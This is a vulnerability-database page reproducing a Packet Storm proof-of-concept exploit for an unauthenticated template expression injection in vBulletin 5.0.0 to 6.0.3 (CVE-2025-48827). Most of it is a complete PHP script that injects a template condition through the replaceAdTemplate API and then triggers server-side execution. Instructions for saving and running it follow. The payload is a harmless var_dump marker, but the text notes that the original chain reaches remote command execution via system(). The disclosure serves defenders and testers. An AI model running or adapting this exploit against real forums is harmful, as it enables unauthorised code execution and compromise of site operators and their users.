PACKETSTORM 10 CRITICAL

📄 vBulletin 6.0.3 replaceAdTemplate Expression Injection_PACKETSTORM:212107

10 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

Proof of concept exploit for vBulletin versions 5.0.0 through 6.0.3 for the replaceAdTemplate expression injection vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:212107
Published Nov 26, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : vBulletin 5.0.0 → 6.0.3 replaceAdTemplate Expression Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.vbulletin.com/ |
=============================================================================================================================================

[+] Summary :

A design flaw in vBulletin's AJAX API (`ajax/api/ad/replaceAdTemplate`) allows
unauthenticated attackers to inject arbitrary template conditions that execute
server-side during rendering via `ajax/render/ad_<location>`.

The original exploit chain enables remote command execution via `system()`
wrapped inside template expressions.

The PoC evaluates a harmless PHP expression (`var_dump()`) inside a
template and checks for execution by looking for a unique marker in the output.


[+] References : ( https://packetstorm.news/files/id/200973/ CVE-2025-48827 )

The flaw arises from:

• Misuse of PHP Reflection in vBulletin's API dispatch.
• Missing access control for protected API methods.
• Template engine evaluating embedded PHP conditions inside `<vb:if>`.
• PHP 8.1+ behavior allowing direct invocation of protected methods.

Two unauthenticated requests are used:

1) Inject a custom ad template using `replaceAdTemplate`.
2) Trigger execution by calling `render/ad_<location>`.

If the template condition executes, the response will contain a unique marker.


--------------------------------------------------------------------
### SAFE PHP POC
--------------------------------------------------------------------
<?php
/*
* vBulletin replaceAdTemplate
* by Indoushka — Packet Storm Edition
*/

$target = "http://victim.com/"; // Change to target installation

$marker = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 6);
$location = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 6);
$param = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 6);

$condition = "\"var_dump('$marker')\"";
$template = "<vb:if condition='$condition'></vb:if>";

/* ----------------------------
1) Inject Template
---------------------------- */
$post1 = [
'routestring' => 'ajax/api/ad/replaceAdTemplate',
'styleid' => '1',
'location' => $location,
'template' => $template
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$inj_response = curl_exec($ch);
curl_close($ch);

echo "=== Injection Response ===\n";
echo $inj_response . "\n\n";

/* ----------------------------
2) Trigger Execution
---------------------------- */
$trigger_value = base64_encode($marker);

$post2 = [
'routestring' => "ajax/render/ad_$location",
$param => $trigger_value
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$render_response = curl_exec($ch);
curl_close($ch);

echo "=== Trigger Response ===\n";
echo $render_response . "\n\n";

if (strpos($render_response, $marker) !== false) {
echo "[+] Vulnerable: Marker detected → Template executed.\n";
} else {
echo "[-] Not Vulnerable.\n";
}
?>

------------------------------------------------------------------------------
4. Save & Run Instructions
------------------------------------------------------------------------------

Save the PoC as:
vb_safe_poc.php

Run it using:
php vb_safe_poc.php

If vulnerable, output includes:
[+] Vulnerable: Marker detected …

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.